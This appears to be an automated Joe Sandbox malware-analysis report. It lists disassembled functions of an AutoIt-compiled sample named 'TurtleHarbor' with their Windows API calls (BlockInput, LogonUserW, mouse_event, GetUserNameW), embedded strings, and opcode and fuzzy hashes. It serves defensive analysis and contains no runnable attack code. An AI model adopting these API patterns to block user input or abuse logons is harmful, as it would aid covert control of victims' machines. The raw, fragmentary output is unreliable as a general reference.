                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterUnhandled
                                            • String ID:
                                            • API String ID: 3192549508-0
                                            • Opcode ID: f4b57b22e34add9cbae6e5c81988f3407ba23cb0c22532c47a2a2cd0f109d716
                                            • Instruction ID: d82bd0bbd9576a48d7e969e352ff6a1075eaf5e7a4bd819ab1f20742a096b102
                                            • Opcode Fuzzy Hash: f4b57b22e34add9cbae6e5c81988f3407ba23cb0c22532c47a2a2cd0f109d716
                                            • Instruction Fuzzy Hash: 5EB09235064208ABCE462B91EC19B883F6CEB46BA2F004010F64D440A0CBA254508A91
                                            Function 003845D5 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • BlockInput.USER32(00000001), ref: 003845F0
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: BlockInput
                                            • String ID:
                                            • API String ID: 3456056419-0
                                            • Opcode ID: 0159551afd2b6b9a98089ced88e734c5d11118ff449ced7edb590d9a0eb105cc
                                            • Instruction ID: cdc8b8e255e1f896d75e569f2b331225deecbea834c8dcfdc187228580fc4d0b
                                            • Opcode Fuzzy Hash: 0159551afd2b6b9a98089ced88e734c5d11118ff449ced7edb590d9a0eb105cc
                                            • Instruction Fuzzy Hash: EAE0DF312002069FC702BF99E800A8AF7ECEF99760F00801AFC09DB711DA70E9408BA0
                                            Function 003751E2 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                            Download Yara Rule
                                            APIs
                                            • mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00375205
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: mouse_event
                                            • String ID:
                                            • API String ID: 2434400541-0
                                            • Opcode ID: 47b0d1c61207ac42e983231248e7f251e92c8a0fbfe71fdf2be02e0c773b7c02
                                            • Instruction ID: 074b7dc1908bb496fb45c2fccf9c0e39f217c28575b290601dcea704f46564ac
                                            • Opcode Fuzzy Hash: 47b0d1c61207ac42e983231248e7f251e92c8a0fbfe71fdf2be02e0c773b7c02
                                            • Instruction Fuzzy Hash: 8AD01CA4262A0AA8ECBE03248A0FF360208A3027C2FC5C249704AC90C3A8D86882A421
                                            Function 00369369 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                            Download Yara Rule
                                            APIs
                                            • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00368FA7), ref: 00369389
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: LogonUser
                                            • String ID:
                                            • API String ID: 1244722697-0
                                            • Opcode ID: 041c38f61ce124f5c74bc2dc8b65f3426c804de9ebdc5132faa1bfe0ceacbf13
                                            • Instruction ID: efc6eb629b1bc2e641e5ccf211f7f2f027af3bc2e2ffbd52d0ff5fd4f0df32fb
                                            • Opcode Fuzzy Hash: 041c38f61ce124f5c74bc2dc8b65f3426c804de9ebdc5132faa1bfe0ceacbf13
                                            • Instruction Fuzzy Hash: D2D05E322A050EABEF018EA4DC01EAE3B69EB04B01F408111FE15C50A0C775E835AB60
                                            Function 00350722 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetUserNameW.ADVAPI32(?,?), ref: 00350734
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: NameUser
                                            • String ID:
                                            • API String ID: 2645101109-0
                                            • Opcode ID: 18dee2495e5b915187a10d0dc227d4d1ea0a6e81e925f15af13a7e13acfd4b1f
                                            • Instruction ID: 45fffa43d510e14b03e9d5d3532e4d3be0daf7086f3c99c307ce7980b2696766
                                            • Opcode Fuzzy Hash: 18dee2495e5b915187a10d0dc227d4d1ea0a6e81e925f15af13a7e13acfd4b1f
                                            • Instruction Fuzzy Hash: E4C04CF180010DDBCB0ADBA0DA88EFE77BCAB05305F100455A545B3150D7749B448A71
                                            Function 0033A354 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                            Download Yara Rule
                                            APIs
                                            • SetUnhandledExceptionFilter.KERNEL32(?), ref: 0033A35A
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterUnhandled
                                            • String ID:
                                            • API String ID: 3192549508-0
                                            • Opcode ID: 1cb070e75503d3f64971546712a9362eb2e9d371601da721349bf5cc52fe4795
                                            • Instruction ID: 2b16bd7263f1ca52bd4c8efeb22e1560daad18fd6b498dae842034321dfeb6e3
                                            • Opcode Fuzzy Hash: 1cb070e75503d3f64971546712a9362eb2e9d371601da721349bf5cc52fe4795
                                            • Instruction Fuzzy Hash: 8AA0223002020CFBCF022F82FC08888BFACEB023E0F008020F80C00032CB33A8208AC0
                                            Function 00387EF0 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DeleteObject.GDI32(00000000), ref: 00387F45
                                            • DeleteObject.GDI32(00000000), ref: 00387F57
                                            • DestroyWindow.USER32 ref: 00387F65
                                            • GetDesktopWindow.USER32 ref: 00387F7F
                                            • GetWindowRect.USER32(00000000), ref: 00387F86
                                            • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 003880C7
                                            • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 003880D7
                                            • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0038811F
                                            • GetClientRect.USER32(00000000,?), ref: 0038812B
                                            • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00388165
                                            • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00388187
                                            • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0038819A
                                            • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003881A5
                                            • GlobalLock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003881AE
                                            • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003881BD
                                            • GlobalUnlock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003881C6
                                            • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003881CD
                                            • GlobalFree.KERNEL32(00000000), ref: 003881D8
                                            • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003881EA
                                            • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,003A3C7C,00000000), ref: 00388200
                                            • GlobalFree.KERNEL32(00000000), ref: 00388210
                                            • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00388236
                                            • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00388255
                                            • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00388277
                                            • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00388464
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                            • String ID: $AutoIt v3$DISPLAY$static
                                            • API String ID: 2211948467-2373415609
                                            • Opcode ID: b63621ccf9dc63e6fbe711db5769ed554664133c5ec1efc3707493f2e3c8479c
                                            • Instruction ID: 4a5744a47f5a8c3ea5a9c2fce8765584d707db7405ae1d2b4c26e4ba7feb7c7c
                                            • Opcode Fuzzy Hash: b63621ccf9dc63e6fbe711db5769ed554664133c5ec1efc3707493f2e3c8479c
                                            • Instruction Fuzzy Hash: 58028E71900205EFDB1AEFA4DC89EAE7BBDFB49310F148559F905AB2A1DB309D41CB60
                                            Function 00393BA9 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CharUpperBuffW.USER32(?,?,003A0980), ref: 00393C65
                                            • IsWindowVisible.USER32(?), ref: 00393C89
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: BuffCharUpperVisibleWindow
                                            • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                            • API String ID: 4105515805-45149045
                                            • Opcode ID: 6891c5157bf0a9e82335d503ffd49098a0cd44061e193929d5d08913ce3f3b03
                                            • Instruction ID: 4a6b448e1bf00f85a42b34e2aa93519c76294c3764305d012e16701256164fbe
                                            • Opcode Fuzzy Hash: 6891c5157bf0a9e82335d503ffd49098a0cd44061e193929d5d08913ce3f3b03
                                            • Instruction Fuzzy Hash: 40D16F742142058BCF1BEF50C4A1EAAB7A5EF95354F14885CF8465F3A2DB31EE4ACB81
                                            Function 0039ABFF Relevance: 49.8, APIs: 33, Instructions: 274COMMON
                                            Download Yara Rule
                                            APIs
                                            • SetTextColor.GDI32(?,00000000), ref: 0039AC55
                                            • GetSysColorBrush.USER32(0000000F), ref: 0039AC86
                                            • GetSysColor.USER32(0000000F), ref: 0039AC92
                                            • SetBkColor.GDI32(?,000000FF), ref: 0039ACAC
                                            • SelectObject.GDI32(?,?), ref: 0039ACBB
                                            • InflateRect.USER32(?,000000FF,000000FF), ref: 0039ACE6
                                            • GetSysColor.USER32(00000010), ref: 0039ACEE
                                            • CreateSolidBrush.GDI32(00000000), ref: 0039ACF5
                                            • FrameRect.USER32(?,?,00000000), ref: 0039AD04
                                            • DeleteObject.GDI32(00000000), ref: 0039AD0B
                                            • InflateRect.USER32(?,000000FE,000000FE), ref: 0039AD56
                                            • FillRect.USER32(?,?,?), ref: 0039AD88
                                            • GetWindowLongW.USER32(?,000000F0), ref: 0039ADB3
                                              • Part of subcall function 0039AF18: GetSysColor.USER32(00000012), ref: 0039AF51
                                              • Part of subcall function 0039AF18: SetTextColor.GDI32(?,?), ref: 0039AF55
                                              • Part of subcall function 0039AF18: GetSysColorBrush.USER32(0000000F), ref: 0039AF6B
                                              • Part of subcall function 0039AF18: GetSysColor.USER32(0000000F), ref: 0039AF76
                                              • Part of subcall function 0039AF18: GetSysColor.USER32(00000011), ref: 0039AF93
                                              • Part of subcall function 0039AF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0039AFA1
                                              • Part of subcall function 0039AF18: SelectObject.GDI32(?,00000000), ref: 0039AFB2
                                              • Part of subcall function 0039AF18: SetBkColor.GDI32(?,00000000), ref: 0039AFBB
                                              • Part of subcall function 0039AF18: SelectObject.GDI32(?,?), ref: 0039AFC8
                                              • Part of subcall function 0039AF18: InflateRect.USER32(?,000000FF,000000FF), ref: 0039AFE7
                                              • Part of subcall function 0039AF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0039AFFE
                                              • Part of subcall function 0039AF18: GetWindowLongW.USER32(00000000,000000F0), ref: 0039B013
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
                                            • String ID:
                                            • API String ID: 4124339563-0
                                            • Opcode ID: 8ebbc25c2e3fc41a544df6f69d0bae03ab8d67c7dcc5eac49ea9624ad5d772a0
                                            • Instruction ID: cc982f667a3117776e2857b95133d0734b69c4e4aae0b0edcfe8c6f15112f9a9
                                            • Opcode Fuzzy Hash: 8ebbc25c2e3fc41a544df6f69d0bae03ab8d67c7dcc5eac49ea9624ad5d772a0
                                            • Instruction Fuzzy Hash: 2DA17C72408701AFDB1A9F64DC08A6B7BADFF8A321F100B19F962961E0D731D944CF92
                                            Function 003227FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
                                            • String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                            • API String ID: 2660009612-1645009161
                                            • Opcode ID: 8397265f202acea259cad8d75632856e227e91d74d2f40886ff1e56ff0ef2d8f
                                            • Instruction ID: 2270109d995b4a930e3b9e073136a210284987c688a6865a41e0d263b5ccec87
                                            • Opcode Fuzzy Hash: 8397265f202acea259cad8d75632856e227e91d74d2f40886ff1e56ff0ef2d8f
                                            • Instruction Fuzzy Hash: EFA18B31A00219BBCB27AF60EC82FAF7778AF45740F004128FC05AA2A2EB71DA55D750
                                            Function 00387B95 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DestroyWindow.USER32(00000000), ref: 00387BC8
                                            • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00387C87
                                            • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00387CC5
                                            • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00387CD7
                                            • CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00387D1D
                                            • GetClientRect.USER32(00000000,?), ref: 00387D29
                                            • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00387D6D
                                            • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00387D7C
                                            • GetStockObject.GDI32(00000011), ref: 00387D8C
                                            • SelectObject.GDI32(00000000,00000000), ref: 00387D90
                                            • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00387DA0
                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00387DA9
                                            • DeleteDC.GDI32(00000000), ref: 00387DB2
                                            • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00387DDE
                                            • SendMessageW.USER32(00000030,00000000,00000001), ref: 00387DF5
                                            • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00387E30
                                            • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00387E44
                                            • SendMessageW.USER32(00000404,00000001,00000000), ref: 00387E55
                                            • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00387E85
                                            • GetStockObject.GDI32(00000011), ref: 00387E90
                                            • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00387E9B
                                            • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00387EA5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                            • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                            • API String ID: 2910397461-517079104
                                            • Opcode ID: 3799967ef2319270e99d8b2f09f57a053e1f83492cc8e14eebfba18cffacf758
                                            • Instruction ID: 4eb66397c332b03cc038cdf09aba43fc6c4b522536cf431598cf594e1fe723d0
                                            • Opcode Fuzzy Hash: 3799967ef2319270e99d8b2f09f57a053e1f83492cc8e14eebfba18cffacf758
                                            • Instruction Fuzzy Hash: A5A170B1A40615BFEB1ADBA4DC4AFAE7BBDEB49710F104155FA14A72E0D770AD00CB60
                                            Function 0037B353 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON
                                            Download Yara Rule
                                            APIs
                                            • SetErrorMode.KERNEL32(00000001), ref: 0037B361
                                            • GetDriveTypeW.KERNEL32(?,003A2C4C,?,\\.\,003A0980), ref: 0037B43E
                                            • SetErrorMode.KERNEL32(00000000,003A2C4C,?,\\.\,003A0980), ref: 0037B59C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ErrorMode$DriveType
                                            • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                            • API String ID: 2907320926-4222207086
                                            • Opcode ID: 68706a4126f7663f2f5d02ac2664d602350e62e2ec047e61562fa14017601cb4
                                            • Instruction ID: 99bb5e428f9eafaadffe4e48499f33852a22892434232bc018660b877c11dc82
                                            • Opcode Fuzzy Hash: 68706a4126f7663f2f5d02ac2664d602350e62e2ec047e61562fa14017601cb4
                                            • Instruction Fuzzy Hash: 9C516430B44209EBC727DB20CD42FA9F7B5AF46350B24C41DF80AEB691D779AE819B51
                                            Function 0039A041 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 0039A0F7
                                            • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0039A1B0
                                            • SendMessageW.USER32(?,00001102,00000002,?), ref: 0039A1CC
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$Window
                                            • String ID: 0
                                            • API String ID: 2326795674-4108050209
                                            • Opcode ID: 1a73266ddb3558af3ae6623b93fd410796abbd7f0459c01f82cc7667484186e2
                                            • Instruction ID: f7f6b0665f835958dc6368017ecdf21175b8fe6f210140ecce52ee513ae95d31
                                            • Opcode Fuzzy Hash: 1a73266ddb3558af3ae6623b93fd410796abbd7f0459c01f82cc7667484186e2
                                            • Instruction Fuzzy Hash: 2C02E230208B01AFDF1BCF14C849BAABBE8FF86314F05861DF995962A1C775D954CB92
                                            Function 0039AF18 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSysColor.USER32(00000012), ref: 0039AF51
                                            • SetTextColor.GDI32(?,?), ref: 0039AF55
                                            • GetSysColorBrush.USER32(0000000F), ref: 0039AF6B
                                            • GetSysColor.USER32(0000000F), ref: 0039AF76
                                            • CreateSolidBrush.GDI32(?), ref: 0039AF7B
                                            • GetSysColor.USER32(00000011), ref: 0039AF93
                                            • CreatePen.GDI32(00000000,00000001,00743C00), ref: 0039AFA1
                                            • SelectObject.GDI32(?,00000000), ref: 0039AFB2
                                            • SetBkColor.GDI32(?,00000000), ref: 0039AFBB
                                            • SelectObject.GDI32(?,?), ref: 0039AFC8
                                            • InflateRect.USER32(?,000000FF,000000FF), ref: 0039AFE7
                                            • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0039AFFE
                                            • GetWindowLongW.USER32(00000000,000000F0), ref: 0039B013
                                            • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0039B05F
                                            • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0039B086
                                            • InflateRect.USER32(?,000000FD,000000FD), ref: 0039B0A4
                                            • DrawFocusRect.USER32(?,?), ref: 0039B0AF
